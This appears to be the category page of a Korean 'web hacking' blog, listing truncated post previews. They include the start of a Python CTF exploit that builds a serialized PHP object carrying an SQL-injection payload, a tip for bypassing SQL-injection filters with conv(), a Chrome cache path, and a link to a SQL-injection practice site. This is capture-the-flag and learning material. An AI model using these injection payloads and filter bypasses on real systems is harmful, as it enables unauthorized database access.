본문 바로가기

웹해킹8

크롬 임시파일 경로 C:\Users\NHNEnt\AppData\Local\Google\Chrome\User Data\ Default\Cache 크롬의 임시파일 경로 헤더보고 싹다바꿔서 1시간전에 방문했던 글의 사진을 찾아냈다. 후.. 2020. 6. 16.
CamsCTF WEB F #!/usr/bin/python ######################################## ###PHP Object Injection+SQL Injection### ######################################## from base64 import * import StringIO import pycurl import time key="" def serial(s): slen=len(s)+1 return b64encode("""O:5:"Login":1:{s:12:"\x00Login\x00table";s:%d:"%s#";}"""% (slen,s)) print "Start!" curl = pycurl.Curl() attackurl="http://web.camsctf.com/.. 2015. 6. 4.
SQL injection Skill Note A~Z문자열을 쓸수없고 Hex(),0x를 사용하지못하는 상황에선 아래를 사용해볼 필요성이 있다.conv(10,10,36) -> Aconv(11,10,36) -> Bconv(12,10,36) -> Cconv(13,10,36) -> Dconv(14,10,36) -> Econv(15,10,36) -> Fconv(16,10,36) -> Gconv(17,10,36) -> Hconv(18,10,36) -> Iconv(19,10,36) -> Jconv(20,10,36) -> Kconv(21,10,36) -> Lconv(22,10,36) -> Mconv(23,10,36) -> Nconv(24,10,36) -> Oconv(25,10,36) -> Pconv(26,10,36) -> Qconv(27,10,36) -> Rcon.. 2013. 9. 15.
New SQL Injection Site itchy.dothome.co.kr 접속후STAGE 클릭하신뒤 problem 1부터 풀어나가시면됩니다.점점 난이도가 상향됩니다.~~ 2013. 1. 31.
반응형

티스토리툴바